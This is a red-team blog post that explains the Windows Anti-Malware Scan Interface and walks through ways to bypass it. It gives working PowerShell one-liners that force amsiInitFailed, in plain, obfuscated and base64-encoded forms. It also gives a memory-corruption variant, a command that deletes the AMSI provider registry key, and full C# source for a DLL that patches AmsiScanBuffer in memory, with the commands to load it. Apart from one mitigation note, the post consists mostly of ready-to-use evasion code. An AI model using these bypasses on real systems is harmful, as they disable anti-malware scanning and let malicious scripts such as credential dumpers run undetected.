[Red Series] AMSI Bypass
Hello all!
After taking the red teaming course last year I finally have some spare time to write. In this post I will share some interesting topics I learn in this course.
Before we go talking about AMSI Bypass, let’s discuss AMSI first. What is AMSI? How it works? If we know the concept we can understand it better.
What is AMSI?
The Windows Anti-Malware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that’s present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads.
How AMSI Work?
AMSI is integrated into Microsoft’s PowerShell, VBScript, and JavaScript engines. This can impact application performance even when file, process and other exclusions are in place. The implementation of AMSI in Windows built-in scripting hosts will always trigger A/V scanning even if file, process and other exclusions are in place. With third party or Microsoft anti-malware solutions enabled on a system, this can create a significant performance impact for applications that execute scripts using Windows script hosts. Upon script execution A/V code will be loaded into the application process. This can increase resource usage and potentially cause system/application instability. In Windows Task Manager this will also reflect as high CPU usage in the application running the script, not in Windows nor the registered antivirus product installed.
So we know AMSI, what’s next? Let’s talk about how red teamer deceive the AMSI Protection.
There are dozen of tricks published to bypass AMSI protection. Here we will summarize some of them and explain it.
- Powershell Downgrade
The easiest method to do but it can be found when system administrator implement multiple powershell on Windows OS. Red Teamer can user powershell v2 to past AMSI Protection, because powershell v2 does not contain security control such as AMSI.
command
Checking Powershell Version $PSTableVersion
powershell -version 2
if version 2 installed on target machine, checking the version again and you will see and can use powershell v2.
Mitigation
To protect from downgrade attempt, make sure the machine don’t have powershell v2. Even if the machine have multiple powershell version. It’s better to use the highest version of powershell whenever available.
2. Obfuscation
Obfuscation is method to make readable string unreadable. This method too popular in computer security. The simplest obfuscation would be dividing the string into some substrings and rearrange it.
AMSI detect signature on the basis of certain keyword, so obfuscation do evasion
- to detect AMSI Protection on powershell you can check with “amsiutils” or “Invoke-Mimikatz”.
- it will show notification “This script contains malicious contain and has been blocked by your anti virus software”.
- you can evade AMSI Protection, by obfuscate the string, like this: “In”+”vok”+”e”+”-M”+”im”+”i”+”katz”
- or you can visit https://amsi.fail/
This is a few sample Forcing an Error Method combained by Obfucation. Forcing an Error Method will be explain on the next.
sET-ItEM ( ‘V’+’aR’ + ‘IA’ + ‘blE:1q2’ + ‘uZx’ ) ( [TYpE]( “{1}{0}”-F’F’,’rE’ ) ) ; ( GeT-VariaBle ( “1Q2U” +”zX” ) -VaL ).”A`ss`Embly”.”GET`TY`Pe”(( “{6}{3}{1}{4}{2}{0}{5}” -f’Util’,’A’,’Amsi’,’.Management.’,’utomation.’,’s’,’System’ ) ).”g`etf`iElD”( ( “{0}{2}{1}” -f’amsi’,’d’,’InitFaile’ ),( “{2}{4}{0}{1}{3}” -f ‘Stat’,’i’,’NonPubli’,’c’,’c,’ )).”sE`T`VaLUE”( ${n`ULl},${t`RuE}
$a = ‘si’; $b = ‘Am’; $Ref = [Ref].Assembly.GetType((‘System.Management.Automation.{0}{1}Utils’ -f $a $b)); $z = $Ref.GetField((‘am{0}InitFailed’ -f $a), ‘NonPublic,Static’); $z.SetValue($null, $true)
3. Forcing an Error
This method talked by Matt Graeber on tweet. AMSI call amsiInitFailed function and it will return 0 if AMSI notification shown.
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem);
4. Base64 Encoding
This method using base64 encoder to bypass AMSI Protection. it can be combine with Forcing an Error Method.
Original
[Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true)
Base64
[Ref].Assembly.GetType(‘System.Management.Automation.’+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(‘QQBtAHMAaQBVAHQAaQBsAHMA’)))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(‘YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA==’))),’NonPublic,Static’).SetValue($null,$true)
5. Remove Key Registry
Sometime remove registry can help to evasion protection, various malicious implement this method after get persistance on target.
Registry Path
HLM:\Software\Microsoft\AMSI\Providers\{
2781761E-28E0-4109-99FE-B9D127C57AFE
}
Remove Registry Command
Remove-Item -Path “HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0–4109–99FE-B9D127C57AFE}” -Recurse
6. DLL Hijacking
What is DLL Hijacking ? DLL hijacking is a method of injecting malicious code into an application by exploiting the way some Windows applications search and load Dynamic Link Libraries (DLL).
There is a (not so) secret here. AMSI is implemented as DLL. And what we do? We create our own DLL which export all AMSI interfaces.
So here’s the functions exported by amsi.dll
if we look API from doc AmsiScanBuffer look like Interesting to check. This function handle read malware content or you can check it detail on https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer
Now let’s create a DLL.
using System;
using System.Runtime.InteropServices;
namespace Bypass
{
public class AMSI
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
public static int Disable()
{
IntPtr TargetDLL = LoadLibrary("amsi.dll");
if (TargetDLL == IntPtr.Zero)
{
Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
return 1;
}
IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
if (AmsiScanBufferPtr == IntPtr.Zero)
{
Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
return 1;
}
UIntPtr dwSize = (UIntPtr)5;
uint Zero = 0;
if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
{
Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
return 1;
}
/*
* This is a new technique, and is still working.
* Source: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
*/
Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);
Console.WriteLine("AmsiScanBuffer patch has been applied.");
return 0;
}
}
}
then run this command
- [Reflection.Assembly]::Load([IO.File]::ReadAllBytes(“$pwd\BypassAMSI.dll”))
- [Bypass.AMSI]
- [Bypass.AMSI]::Disable()
That’s all for now. Thanks for coming here.
References :